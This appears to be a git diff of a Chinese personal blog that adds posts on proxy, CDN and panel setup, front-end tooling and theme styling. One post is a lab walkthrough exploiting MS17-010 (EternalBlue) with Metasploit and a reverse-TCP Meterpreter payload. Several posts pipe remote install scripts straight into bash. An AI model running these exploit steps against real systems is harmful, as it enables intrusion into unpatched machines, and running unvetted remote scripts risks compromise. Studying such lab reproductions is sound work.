- 源域cloudflared托管的域名
- 协议:仅 HTTPS
- 最低源 SSL 协议TLSv1.1
- 自动压缩对象:否
- 缓存键和源请求Legacy cache settings
- Web Application Firewall (WAF)Do not enable security protections
- 其他设置默认
## 三、添加节点
1. 复制一份创造成功的节点
2. 修改复制节点:
- 后台 > 节点管理 > 添加节点
- 节点名称:随便填写
- 权限组:随便填写
- 节点地址CloudFront分配的域名
- TLS关闭
- 端口80
- 父节点:选择创造好的节点
- 传输协议选择websocket
- 配置协议:
```json
{
"path": "/随便",
"headers": {
"Host": "CloudFront分配的域名"
}
}
```

View File

@ -0,0 +1,38 @@
---
title: "v2board后端对接v2ray-warp使用Cloudflare-WARP解锁chatgpt-流媒体"
date: 2023-05-13T22:48:00Z
tags: ["v2board"]
---
## 一、部署安装
GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui][1]
1. 复制粘贴以下代码,并运行:
```bash
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
```
注意:在 IPv6 Only 的 VPS 中例如Euserv、Hax请先安装 warp否则无法访问 Github API 而报错。
2. 设置用户名密码、面板访问端口。
待出现 X-ui 的菜单时,就已经成功一半了!
## 二、配置
系统状态 - xray 状态 - 切换版本 - 切换为最新版本
配置节点:
- 入站列表 - 添加入站
- 端口443
- reality开启
- 添加用户:+
- flow 选择 xtls-rprx-vision
- 其他默认
## 三、使用
点击"操作" → "二维码",导出节点。
[1]: https://github.com/FranzKafkaYu/x-ui

View File

@ -0,0 +1,13 @@
---
title: "v2ray搭建"
date: 2021-07-31T00:03:00+08:00
tags: ["v2ray"]
---
## 一、v2ray官方安装
```bash
bash <(curl -s -L https://git.io/v2ray.sh)
```
## 二、v2ray-agent安装
v2ray-agent 八合一脚本:[https://github.com/mack-a/v2ray-agent](https://github.com/mack-a/v2ray-agent)

View File

@ -0,0 +1,35 @@
---
title: "一键搭建Telegram的MTProto代理"
date: 2021-08-09T00:07:00+08:00
tags: ["telegram", "mtproto"]
---
## 一、同步时间
### CentOS 7
```bash
yum install -y ntp
systemctl enable ntpd
ntpdate -q 0.rhel.pool.ntp.org
systemctl restart ntpd
```
### Debian 9 / Ubuntu 16
```bash
apt-get install -y ntp
systemctl enable ntp
systemctl restart ntp
```
### 或者(时间同步为上海)
```bash
rm -rf /etc/localtime
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
ntpdate time.nist.gov
```
## 二、一键安装
```bash
mkdir /home/mtproxy && cd /home/mtproxy
curl -s -o mtproxy.sh https://raw.githubusercontent.com/ellermister/mtproxy/master/mtproxy.sh && chmod +x mtproxy.sh && bash mtproxy.sh
```

View File

@ -0,0 +1,38 @@
---
title: "安装谷歌三件套服务框架"
date: 2023-07-12T23:39:00+08:00
tags: ["google", "android"]
---
## 一、Google服务框架
下载地址:[https://www.apkmirror.com/apk/google-inc/google-services-framework/](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
### 安装说明
1. 首先点击上边的网站到Google服务框架程序的发布地址然后找到和自己手机的安卓版本相匹配的版本。
2. 选择noDPI的版本。
3. 关于ARM版本
- 一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
- 也可以直接下载universal版本也就是兼容v8和v7的版本。
## 二、Google Play Service
下载地址:[https://www.apkmirror.com/apk/google-inc/google-play-services/](https://www.apkmirror.com/apk/google-inc/google-play-services/)
### 安装说明
1. 首先点击上边的网站到Google Play Service的发布地址然后找到和自己手机的安卓版本相匹配的版本。
2. 选择noDPI的版本。
3. 关于ARM版本
- 一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
- 也可以直接下载universal版本也就是兼容v8和v7的版本。
## 三、Google Play Store
下载地址:[https://www.apkmirror.com/apk/google-inc/google-play-store/](https://www.apkmirror.com/apk/google-inc/google-play-store/)
### 安装说明
1. 首先点击上边的网站到Google Play Store的发布地址然后找到和自己手机的安卓版本相匹配的版本。
2. 选择noDPI的版本。
3. 关于ARM版本
- 一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
- 也可以直接下载universal版本也就是兼容v8和v7的版本。

View File

@ -0,0 +1,113 @@
---
title: "搭建v2board前端"
date: 2021-07-31T00:06:00+08:00
tags: ["v2board"]
---
## 一、配置宝塔
你需要在宝塔选择你的系统获得安装方式。这里以 CentOS 7+ 作为系统环境进行安装。
[宝塔官方](https://www.bt.cn/bbs/thread-19376-1-1.html)
安装完成后我们登陆宝塔进行环境的安装。
选择使用LNMP的环境安装方式勾选如下信息
- ☑️ Nginx 1.17
- ☑️ MySQL 5.6
- ☑️ PHP 7.3
选择快速编译后进行安装。
## 二、安装Redis和文件信息
宝塔面板 > 软件商店 > 找到PHP 7.3点击设置 > 安装扩展 > `redis` `fileinfo`进行安装。
## 三、解除被禁止的函数
宝塔面板 > 软件商店 > 找到PHP 7.3点击设置 > 禁用功能,将 `putenv` `proc_open` `pcntl_alarm` `pcntl_signal` 从列表中删除。
## 四、添加站点
宝塔面板 > 网站 > 添加站点:
- 在域名填入你的域名
- 在数据库中选择MySQL
- 在 PHP 版本中选择 PHP-73
## 五、安装V2Board
### 进入站点目录
```bash
cd /www/wwwroot/你的站点域名
```
### 删除目录下文件
```bash
chattr -i .user.ini
rm -rf .htaccess 404.html index.html .user.ini
```
### 从 Github 克隆到当前目录
```bash
git clone https://github.com/v2board/v2board.git ./
```
### 安装依赖包以及V2board
```bash
sh init.sh
```
## 六、配置站点目录及伪静态
1. 添加完成后编辑添加的站点 > 站点目录 > 运行目录,选择 /public 保存。
2. 添加完成后编辑添加的站点 > 伪静态,填入:
```nginx
location /downloads {
}
location / {
try_files $uri $uri/ /index.php$is_args$query_string;
}
location ~ .*\.(js|css)?$
{
expires 1h;
error_log off;
access_log /dev/null;
}
```
## 七、配置定时任务
宝塔面板 > 计划任务,配置:
- 任务类型:选择 Shell 脚本
- 任务名称:填写`v2board`
- 执行周期:选择`N 分钟 1 分钟`
- 脚本内容:
```php
php /www/wwwroot/路径/artisan schedule:run
```
根据上述信息添加每1分钟执行一次的定时任务。
## 八、启动队列服务
V2board的邮件系统强依赖队列服务你想要使用邮件验证及群发邮件必须启动队列服务。下面以宝塔中`supervisor`服务来守护队列服务作为演示。
宝塔面板 > 软件商店 > 部署 > 找到Supervisor进行安装安装完成后点击设置 > 添加守护进程,按照如下填写:
- 名称:填写 `V2board`
- 运行目录:选择站点目录
- 启动命令:填写 `php artisan horizon`
- 启动数量:填写 `1`
填写后点击添加即可运行。
## 常见问题
### 500错误
可能的原因:
1. 检查站点根目录权限递归755保证目录有可写文件的权限。
2. Redis扩展没有安装或者Redis没有安装造成的。
3. 可以通过查看storage/logs下的日志来排查错误或者开启debug模式。
4. 重启php7.3。

192
src/content/aa.md Normal file
View File

@ -0,0 +1,192 @@
---
title: "博客使用说明"
date: 2025-03-09T01:07:23Z
tags: []
---
# 博客使用说明
这是一个基于 Astro + React 构建的个人博客系统,具有文章管理、项目展示、观影记录、读书记录等功能。本文将详细介绍如何使用和配置这个博客系统。
## 功能特点
1. **响应式设计**:完美适配桌面端和移动端
2. **深色模式**:支持自动和手动切换深色/浅色主题
3. **文章系统**:支持 Markdown 写作,带有标签和分类
4. **项目展示**:支持展示 GitHub、Gitea 和 Gitee 的项目
5. **观影记录**:集成豆瓣观影数据
6. **读书记录**:集成豆瓣读书数据
7. **旅行地图**:世界地图展示旅行足迹
## 基础配置
主要配置文件位于 `src/consts.ts`,你需要修改以下内容:
```typescript
// 网站基本信息
export const SITE_URL = 'https://your-domain.com';
export const SITE_NAME = "你的网站名称";
// 导航链接
export const NAV_LINKS = [
{ href: '/', text: '首页' },
{ href: '/articles', text: '文章' },
// ... 可以根据需要修改
];
// 备案信息(如果需要)
export const ICP = '你的ICP备案号';
export const PSB_ICP = '你的公安备案号';
export const PSB_ICP_URL = '备案链接';
// 旅行足迹
export const VISITED_PLACES = ['你去过的地方'];
// 豆瓣ID
export const DOUBAN_ID = '你的豆瓣ID';
// Git平台配置
export const GIT_CONFIG = {
github: {
username: '你的GitHub用户名',
token: '你的GitHub令牌' // 可选
},
gitea: {
url: '你的Gitea实例地址',
username: '你的Gitea用户名',
token: '你的Gitea令牌' // 可选
},
gitee: {
username: '你的Gitee用户名',
token: '你的Gitee令牌' // 可选
}
};
```
## 文章写作
### 创建新文章
`src/content/articles` 目录下创建 `.md``.mdx` 文件。文章需要包含以下前置信息:
```markdown
---
title: "文章标题"
date: YYYY-MM-DD
tags: ["标签1", "标签2"]
---
文章内容...
```
### 文章列表展示
文章列表页面会自动获取所有文章并按日期排序展示,支持:
- 文章标题和摘要
- 发布日期
- 标签系统
- 阅读时间估算
## 项目展示
项目展示页面会自动从配置的 Git 平台获取你的项目信息,展示:
- 项目名称和描述
- Star 和 Fork 数
- 主要编程语言
- 最后更新时间
要启用项目展示,需要:
1. 在 `consts.ts` 中配置相应平台的用户名
2. 如果需要访问私有仓库,配置相应的访问令牌
## 观影和读书记录
系统会自动从豆瓣获取你的观影和读书记录,展示:
- 电影/书籍封面
- 标题
- 评分
- 观看/阅读日期
要启用此功能,需要:
1. 在 `consts.ts` 中配置你的豆瓣 ID
2. 确保你的豆瓣观影/读书记录是公开的
## 旅行地图
世界地图会根据 `VISITED_PLACES` 配置自动标记你去过的地方。支持:
- 中国省份级别的标记
- 世界国家级别的标记
- 交互式缩放和平移
- 鼠标悬停显示地名
## 主题切换
系统支持三种主题模式:
1. 跟随系统
2. 手动切换浅色模式
3. 手动切换深色模式
主题设置会被保存在浏览器的 localStorage 中。
## 性能优化
本博客系统采用了多项性能优化措施:
1. 静态页面生成
2. 图片懒加载
3. 代码分割
4. 样式按需加载
5. 响应式图片
## 部署说明
1. 构建项目:
```bash
npm run build
```
2. 构建产物位于 `dist` 目录
3. 将 `dist` 目录部署到你的服务器或静态托管平台
## 常见问题
1. **图片无法显示**
- 检查图片路径是否正确
- 确保图片已放入 `public` 目录
2. **豆瓣数据无法获取**
- 确认豆瓣 ID 配置正确
- 检查豆瓣记录是否公开
3. **Git 项目无法显示**
- 验证用户名配置
- 检查访问令牌是否有效
- 确认 API 访问限制
## 更新日志
### 2024-03-21
- 初始版本发布
- 支持基本的博客功能
- 集成豆瓣数据展示
- 添加旅行地图功能
## 后续计划
1. 添加评论系统
2. 优化移动端体验
3. 增加更多自定义主题选项
4. 添加文章搜索功能
5. 支持更多外部服务集成
## 贡献指南
欢迎提交 Issue 和 Pull Request 来改进这个博客系统。在提交之前,请确保:
1. 代码符合项目的代码风格
2. 新功能有适当的测试覆盖
3. 文档已经更新
## 许可证
本项目采用 MIT 许可证。

View File

@ -0,0 +1,176 @@
---
title: "Ms17 010永恒之蓝漏洞复现"
date: 2024-06-30T00:55:27+08:00
tags: []
---
## 一、前言
### 1. 漏洞描述
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞恶意代码会扫描开放445文件共享端口的Windows机器无需用户任何操作只要开机上网不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
### 2. 漏洞影响
目前已知受影响的 Windows 版本包括但不限于Windows NTWindows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
## 二、复现环境
* 虚拟环境搭建:`VMware Workstation 17 pro`
* 网络模式:`NAT`
* 攻击机:`kali Linux WSL`
* 攻击机IP`192.168.97.173`
* 攻击工具:`nmap` `metasploit(MSF)`
* 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`**前提win7关闭防火墙**
* 靶机IP`192.168.97.128`
## 三、启动 MSF
1. 安装MSF
```bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
```
2. 进入框架
```bash
msfconsole
```
3. 初始化
```bash
init
```
## 四、寻找主机
### 1. ipconfig
使用`ipconfig`分别查看win7和kali中的ip地址
### 2. nmap
```bash
nmap -T5 -sP 192.168.97.0/24
```
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
* **`-sP`**:执行 Ping 连接扫描。
* **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
| **IP地址** | 私有ip范围 | 子网掩码 | CIDR |
|------------|------------|-----------|------|
| A类地址 | 10.0.0.010.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
| B类地址 | 172.16.0.0173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
| C类地址 | 192.168.0.0192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
## 五、端口扫描
### 1. nmap
```bash
nmap -T5 -sT 192.168.97.128
```
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
* **`-sT`**:执行 TCP 连接扫描。
* **`192.168.97.128`**:扫描指定的 IP
### 2. MSF 端口扫描
1. 使用模块
```bash
use auxiliary/scanner/portscan/tcp
```
2. 设置扫描ip
```bash
set rhosts 192.168.97.128
```
3. 运行
```bash
run
```
## 六、查找永恒之蓝漏洞
微软 永恒之蓝 编号`ms17-010`
```bash
search ms17_010
```
1. `exploit/windows/smb/ms17_010_eternalblue`
* 这个模块利用了MS17-010漏洞通过EternalBlue攻击载荷远程执行代码。
* EternalBlue利用Windows的Server Message BlockSMB协议中的漏洞允许攻击者在目标机器上执行任意代码。
* 攻击成功后通常会在目标机器上生成一个Meterpreter会话从而允许进一步的渗透测试操作。
2. `exploit/windows/smb/ms17_010_psexec`
* 这个模块结合MS17-010漏洞和Psexec技术通过SMB协议在目标系统上执行命令。
* 利用MS17-010漏洞进行初始攻击然后使用Psexec进行进一步的远程命令执行。
* 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
3. `auxiliary/admin/smb/ms17_010_command`
* 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
* 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
* 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
4. `auxiliary/scanner/smb/smb_ms17_010`
* 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
* 不会进行实际的漏洞利用或攻击而是仅检测目标系统是否易受MS17-010漏洞的影响。
## 七、漏洞检测
### 1. 使用探测模块
1. 使用`Auxiliary`辅助探测模块
```bash
use auxiliary/scanner/smb/smb_ms17_010
```
```bash
use 24
```
2. 查看需要配置的参数
```bash
show options
```
3. 设置目标主机地址
```bash
set rhosts 192.168.97.128
```
4. 运行
```bash
run
```
### 2. nmap
```bash
nmap --script smb-vuln-ms17-010 192.168.97.128
```
## 八、漏洞攻击
1. 加载 ms17-010 攻击模块
```bash
use exploit/windows/smb/ms17_010_eternalblue
```
2. 设置目标主机地址
```bash
set rhosts 192.168.97.128
```
3. 设置连接方式为反向连接
```bash
set payload windows/x64/meterpreter/reverse_tcp
```
4. 运行
```bash
run
```
## 九、Meterpreter命令用法
[命令列表和详细说明...]

View File

@ -0,0 +1,166 @@
---
title: "Simple_rust_wasm"
date: 2024-10-19T15:09:25+08:00
tags: ["rust", "webassembly"]
---
## 文件结构
```
wasm-project/
├── Cargo.toml # Rust包的配置文件
├── package.json # npm项目配置文件
├── webpack.config.js # Webpack配置文件
├── src/ # 源代码目录
│ ├── lib.rs # Rust代码导出到WebAssembly
│ ├── index.js # JavaScript代码调用WebAssembly模块
│ └── index.html # 简单的HTML页面用于测试WebAssembly
├── pkg/ # wasm-pack生成的WebAssembly相关文件
│ ├── package.json # WebAssembly模块的npm配置
│ ├── wasm.d.ts # TypeScript类型定义文件
│ ├── wasm.js # WebAssembly模块的JavaScript接口
│ ├── wasm_bg.js # WebAssembly模块的绑定代码
│ ├── wasm_bg.wasm # 编译生成的WebAssembly二进制文件
│ └── wasm_bg.wasm.d.ts # WebAssembly二进制文件的TypeScript声明
└── dist/ # Webpack打包生成的文件
├── main.js # 打包后的JavaScript文件
├── pkg_wasm_js.js # WebAssembly模块的打包文件
└── 22e4d62519dd44a7c412.module.wasm # 各种生成的WebAssembly模块文件
```
## 一、安装必要软件
1. **安装Rust**
确保你已安装Rust环境可以通过以下命令来确认是否安装成功
```bash
rustc --version
```
2. **安装wasm-pack**
`wasm-pack`用于将Rust代码编译为WebAssembly格式。通过以下命令安装
```bash
cargo install wasm-pack
```
3. **安装npm**
npm是JavaScript包管理工具确保安装最新版本。
## 二、编写代码
1. **构建一个新的Rust包**
在项目目录下创建一个新的Rust库项目
```bash
cargo new --lib wasm
```
2. **配置** **`Cargo.toml`**
修改`Cargo.toml`来添加WebAssembly的依赖和输出配置
```toml
[package]
name = "wasm"
version = "0.1.0"
edition = "2021"
[dependencies]
wasm-bindgen = "0.2.95"
[lib]
crate-type = ["cdylib", "rlib"]
```
3. **编写Rust文件** **`src/lib.rs`**
使用`wasm-bindgen`库将Rust函数暴露给JavaScript。编写如下代码
```rust
extern crate wasm_bindgen;
use wasm_bindgen::prelude::*;
#[wasm_bindgen]
extern {
pub fn alert(s: &str);
}
#[wasm_bindgen]
pub fn greet(name: &str) {
alert(&format!("Hello, {}!", name));
}
```
4. **将Rust代码编译为WebAssembly**
使用`wasm-pack`进行编译:
```bash
wasm-pack build
```
编译后的WebAssembly文件将生成在`pkg/`目录下。
## 三、打包代码
1. **初始化npm项目**
创建一个`package.json`文件:
```bash
npm init -y
```
2. **安装Webpack及相关工具**
安装Webpack及开发服务器用于打包和本地运行JavaScript与WebAssembly
```bash
npm install --save-dev webpack webpack-cli webpack-dev-server
```
3. **编写JavaScript调用代码** **`src/index.js`**
在`index.js`中调用由Rust编译出的WebAssembly模块
```javascript
const js = import("../pkg/wasm");
js.then((js) => {
js.greet("world");
});
```
4. **编写Webpack配置文件** **`webpack.config.js`**
该配置文件用于打包项目并支持WebAssembly异步加载
```javascript
module.exports = {
entry: './src/index.js',
mode: 'development', // 开发模式,可切换为'production'
experiments: {
asyncWebAssembly: true, // 异步加载WebAssembly
},
module: {
rules: [
{
test: /\.wasm$/,
type: "webassembly/async" // 使用异步加载WebAssembly
}
]
},
};
```
5. **打包JavaScript文件**
使用Webpack打包项目
```bash
npx webpack
```
## 四、运行代码
1. **编写HTML文件** **`src/index.html`**
在HTML文件中引入打包后的`main.js`
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WebAssembly Example</title>
</head>
<body>
<h1>WebAssembly Example</h1>
<script src="../dist/main.js"></script>
</body>
</html>
```
2. **运行HTML文件**
打开`src/index.html`,在浏览器中运行此文件,应该会看到弹窗显示"Hello, world"。

View File

@ -1,7 +1,7 @@
---
title: "markdown使用教程"
date: 2023-03-03
tags: ["测试", "多级目录"]
tags: []
---
### 1.1 标题语法

View File

@ -0,0 +1,18 @@
---
title: "CDN配置"
date: 2023-12-25T12:07:21+08:00
tags: []
---
## 域名绑定
1. 绑定到需要加速的服务器(源站)
2. 配置到cdn平台(加速域名)
## 配置
以[多吉云](https://www.dogecloud.com/)为例(毕竟免费 20G还能设置封顶策略)
进入域名管理添加域名
- 加速域名:(加速域名)
- 回源域名填写:(源站)
- 回源host选择:与回源域名一致
改动回源host的目的是为了让vercel那边知道你需要回源到的域名。

View File

@ -0,0 +1,20 @@
---
title: "Cloudflare_自选IP"
date: 2024-06-18T16:16:35+08:00
tags: []
---
## Workers
1. DNS解析
1. 删除现有Workers解析自定义域
2. 将要用的域名解析到自选IP上注意**不要开启**代理(小云朵)
2. 自定义路由
设置->触发器->路由
我要使用`proxy.example.com`作为Workers域名且要访问全部内容
```
proxy.example.com/*
```

View File

@ -0,0 +1,92 @@
---
title: "GitHub Actions自动刷新多吉云CDN缓存"
date: 2024-05-06T13:49:43+08:00
tags: []
---
## 1. 创建自动刷新脚本
在项目根目录创建一个文件名为 `RefreshCDN.py`。修改下列代码中的密钥和域名为你自己的信息。
```python
from hashlib import sha1
import hmac
import requests
import json
import urllib
import os
def dogecloud_api(api_path, data={}, json_mode=False):
"""
调用多吉云API。
:param api_path: 调用的 API 接口地址,包含 URL 请求参数 QueryString。
:param data: POST 的数据,字典格式。
:param json_mode: 数据 data 是否以 JSON 格式请求,默认为 false 则使用表单形式。
:return dict: 返回的数据。
"""
access_key = '你的AccessKey' # 替换为自己的 AccessKey
secret_key = '你的SecretKey' # 替换为自己的 SecretKey
body = ''
mime = ''
if json_mode:
body = json.dumps(data)
mime = 'application/json'
else:
body = urllib.parse.urlencode(data)
mime = 'application/x-www-form-urlencoded'
sign_str = api_path + "\n" + body
signed_data = hmac.new(secret_key.encode('utf-8'), sign_str.encode('utf-8'), sha1)
sign = signed_data.digest().hex()
authorization = 'TOKEN ' + access_key + ':' + sign
response = requests.post('https://api.dogecloud.com' + api_path, data=body, headers={
'Authorization': authorization,
'Content-Type': mime
})
return response.json()
url_list = ['https://xxxxx/'] # 替换为你的博客域名
api = dogecloud_api('/cdn/refresh/add.json', {
'rtype': 'path',
'urls': json.dumps(url_list)
})
if api['code'] == 200:
print(api['data']['task_id'])
else:
print("API failed: " + api['msg'])
```
## 2. 创建 GitHub Actions 脚本
在项目根目录创建 `.github/workflows` 目录(如果还没有的话),并在该目录下新建 `RefreshCDN.yml`
```yaml
name: Refresh CDN
on:
push:
branches:
- master
jobs:
refresh-cdn:
runs-on: ubuntu-latest
steps:
- name: 检出代码
uses: actions/checkout@v2
- name: 安装 Python
uses: actions/setup-python@v2
with:
python-version: '3.x'
- name: 安装依赖
run: pip install requests
- name: 等待源站部署
run: sleep 1m # 这里用了个笨办法,等待 1 分钟后进行刷新
- name: 刷新 CDN
run: python RefreshCDN.py
```
这样设置后,每次推送到 `master` 分支时GitHub Actions 会自动运行这个脚本来刷新 CDN。

View File

@ -0,0 +1,757 @@
---
title: "Hugo Theme Stack美化教程"
date: 2024-06-28T17:23:16+08:00
tags: []
---
### 安装
```bash
git clone https://github.com/CaiJimmy/hugo-theme-stack/ themes/hugo-theme-stack
```
官方文档: [Modify theme | Stack](https://stack.jimmycai.com/guide/modify-theme)
### 美化
下文`custom.scss`指的是`~hugo/themes/hugo-theme-stack/assets/scss/custom.scss`
#### 主题整体细节调整
在`custom.scss`中写入以下内容:
```bash
//----------------------------------------------------
// 页面基本配色
:root {
// 全局顶部边距
--main-top-padding: 30px;
// 全局卡片圆角
--card-border-radius: 25px;
// 标签云卡片圆角
--tag-border-radius: 8px;
// 卡片间距
--section-separation: 40px;
// 全局字体大小
--article-font-size: 1.8rem;
// 行内代码背景色
--code-background-color: #f8f8f8;
// 行内代码前景色
--code-text-color: #e96900;
// 暗色模式下样式
&[data-scheme="dark"] {
// 行内代码背景色
--code-background-color: #ff6d1b17;
// 行内代码前景色
--code-text-color: #e96900;
// 暗黑模式下背景色
--body-background: #000;
// 暗黑模式下卡片背景色
--card-background: hsl(225 13% 8% / 1);
}
}
//------------------------------------------------------
// 修复引用块内容窄页面显示问题
a {
word-break: break-all;
}
code {
word-break: break-all;
}
//---------------------------------------------------
// 文章封面高度
.article-list article .article-image img {
width: 100%;
height: 200px !important;
object-fit: cover;
@include respond(md) {
height: 250px !important;
}
@include respond(xl) {
height: 285px !important;
}
}
//--------------------------------------------------
// 文章内容图片圆角阴影
.article-page .main-article .article-content {
img {
max-width: 96% !important;
height: auto !important;
border-radius: 8px;
}
}
//------------------------------------------------
// 文章内容引用块样式
.article-content {
blockquote {
border-left: 6px solid #358b9a1f !important;
background: #3a97431f;
}
}
// ---------------------------------------
// 代码块样式修改
.highlight {
max-width: 102% !important;
background-color: var(--pre-background-color);
padding: var(--card-padding);
position: relative;
border-radius: 20px;
margin-left: -7px !important;
margin-right: -12px;
box-shadow: var(--shadow-l1) !important;
&:hover {
.copyCodeButton {
opacity: 1;
}
}
// keep Codeblocks LTR
[dir="rtl"] & {
direction: ltr;
}
pre {
margin: initial;
padding: 0;
margin: 0;
width: auto;
}
}
// light模式下的代码块样式调整
[data-scheme="light"] .article-content .highlight {
background-color: #fff9f3;
}
[data-scheme="light"] .chroma {
color: #ff6f00;
background-color: #fff9f3cc;
}
//-------------------------------------------
// 设置选中字体的区域背景颜色
//修改选中颜色
::selection {
color: #fff;
background: #34495e;
}
a {
text-decoration: none;
color: var(--accent-color);
&:hover {
color: var(--accent-color-darker);
}
&.link {
color: #4288b9ad;
font-weight: 600;
padding: 0 2px;
text-decoration: none;
cursor: pointer;
&:hover {
text-decoration: underline;
}
}
}
//-------------------------------------------------
//文章封面高度更改
.article-list article .article-image img {
width: 100%;
height: 150px;
object-fit: cover;
@include respond(md) {
height: 200px;
}
@include respond(xl) {
height: 305px;
}
}
//---------------------------------------------------
// 全局页面布局间距调整
.main-container {
min-height: 100vh;
align-items: flex-start;
padding: 0 15px;
gap: var(--section-separation);
padding-top: var(--main-top-padding);
@include respond(md) {
padding: 0 37px;
}
}
//--------------------------------------------------
//页面三栏宽度调整
.container {
margin-left: auto;
margin-right: auto;
.left-sidebar {
order: -3;
max-width: var(--left-sidebar-max-width);
}
.right-sidebar {
order: -1;
max-width: var(--right-sidebar-max-width);
/// Display right sidebar when min-width: lg
@include respond(lg) {
display: flex;
}
}
&.extended {
@include respond(md) {
max-width: 1024px;
--left-sidebar-max-width: 25%;
--right-sidebar-max-width: 22% !important;
}
@include respond(lg) {
max-width: 1280px;
--left-sidebar-max-width: 20%;
--right-sidebar-max-width: 30%;
}
@include respond(xl) {
max-width: 1453px; //1536px;
--left-sidebar-max-width: 15%;
--right-sidebar-max-width: 25%;
}
}
&.compact {
@include respond(md) {
--left-sidebar-max-width: 25%;
max-width: 768px;
}
@include respond(lg) {
max-width: 1024px;
--left-sidebar-max-width: 20%;
}
@include respond(xl) {
max-width: 1280px;
}
}
}
//-------------------------------------------------------
//全局页面小图片样式微调
.article-list--compact article .article-image img {
width: var(--image-size);
height: var(--image-size);
object-fit: cover;
border-radius: 17%;
}
//----------------------------------------------------
//固定代码块的高度
.article-content {
.highlight {
padding: var(--card-padding);
pre {
width: auto;
max-height: 20em;
}
}
}
//--------------------------------------------------
// 修改首页搜索框样式
.search-form.widget input {
font-size: 1.5rem;
padding: 44px 25px 19px;
}
```
#### 菜单栏调整为圆角
在`custom.scss`中写入以下内容:
```bash
//----------------------------------------------------
// 下拉菜单改圆角样式
.menu {
padding-left: 0;
list-style: none;
flex-direction: column;
overflow-x: hidden;
overflow-y: scroll;
flex-grow: 1;
font-size: 1.6rem;
background-color: var(--card-background);
box-shadow: var(--shadow-l2); //改个阴影
display: none;
margin: 0; //改为0
border-radius: 10px; //加个圆角
padding: 30px 30px;
@include respond(xl) {
padding: 15px 0;
}
&,
.menu-bottom-section {
gap: 30px;
@include respond(xl) {
gap: 25px;
}
}
&.show {
display: flex;
}
@include respond(md) {
align-items: flex-end;
display: flex;
background-color: transparent;
padding: 0;
box-shadow: none;
margin: 0;
}
li {
position: relative;
vertical-align: middle;
padding: 0;
@include respond(md) {
width: 100%;
}
svg {
stroke-width: 1.33;
width: 20px;
height: 20px;
}
a {
height: 100%;
display: inline-flex;
align-items: center;
color: var(--body-text-color);
gap: var(--menu-icon-separation);
}
span {
flex: 1;
}
&.current {
a {
color: var(--accent-color);
font-weight: bold;
}
}
}
}
```
#### 滚动条美化
在`custom.scss`中写入以下内容:
```bash
//------------------------------------------------
//将滚动条修改为圆角样式
//菜单滚动条美化
.menu::-webkit-scrollbar {
display: none;
}
// 全局滚动条美化
html {
::-webkit-scrollbar {
width: 20px;
}
::-webkit-scrollbar-track {
background-color: transparent;
}
::-webkit-scrollbar-thumb {
background-color: #d6dee1;
border-radius: 20px;
border: 6px solid transparent;
background-clip: content-box;
}
::-webkit-scrollbar-thumb:hover {
background-color: #a8bbbf;
}
}
```
#### 归档页实现双栏
在`custom.scss`中写入以下内容:
```bash
//--------------------------------------------------
//归档页面双栏
/* 归档页面两栏 */
@media (min-width: 1024px) {
.article-list--compact {
display: grid;
grid-template-columns: 1fr 1fr;
background: none;
box-shadow: none;
gap: 1rem;
article {
background: var(--card-background);
border: none;
box-shadow: var(--shadow-l2);
margin-bottom: 8px;
border-radius: 16px;
}
}
}
```
#### 文章页面左上角引入返回按钮
在`custom.scss`中,给返回按钮添加以下样式,不然返回按钮会显示异常:
```bash
//--------------------------------------------------
//引入左上角返回按钮
.back-home {
background: var(--card-background);
border-radius: var(--tag-border-radius);
color: var(--card-text-color-tertiary);
margin-right: 0.1rem;
margin-top: 24px;
display: inline-flex;
align-items: center;
font-size: 1.4rem;
text-transform: uppercase;
padding: 10px 20px 10px 15px;
transition: box-shadow 0.3s ease;
box-shadow: var(--shadow-l3);
&:hover {
box-shadow: var(--shadow-l2);
}
svg {
margin-right: 5px;
width: 20px;
height: 20px;
}
span {
font-weight: 500;
white-space: nowrap;
}
}
.main-container .right-sidebar {
order: 2;
max-width: var(--right-sidebar-max-width);
/// Display right sidebar when min-width: lg
@include respond(lg) {
display: flex;
}
}
main.main {
order: 1;
min-width: 0;
max-width: 100%;
flex-grow: 1;
display: flex;
flex-direction: column;
gap: var(--section-separation);
@include respond(md) {
padding-top: var(--main-top-padding);
}
}
```
修改`~\hugo\themes\hugo-theme-stack\layouts\_default\single.html`
写入添加以下内容:
> 注意对照原主题,不要把重复的部分也写进去
```bash
.......已省略,请自己对照......
{{ partialCached "footer/footer" . }}
{{ partialCached "article/components/photoswipe" . }}
{{ end }}
{{ define "left-sidebar" }}
{{ if (.Scratch.Get "TOCEnabled") }}
<div id="article-toolbar" style="position: sticky;top: 5px;z-index: 1000;">
<a href="{{ .Site.BaseURL | relLangURL }}" class="back-home">
{{ (resources.Get "icons/back.svg").Content | safeHTML }}
<span>{{ T "article.back" }}</span>
</a>
</div>
{{ else }}
{{ partial "sidebar/left.html" . }}
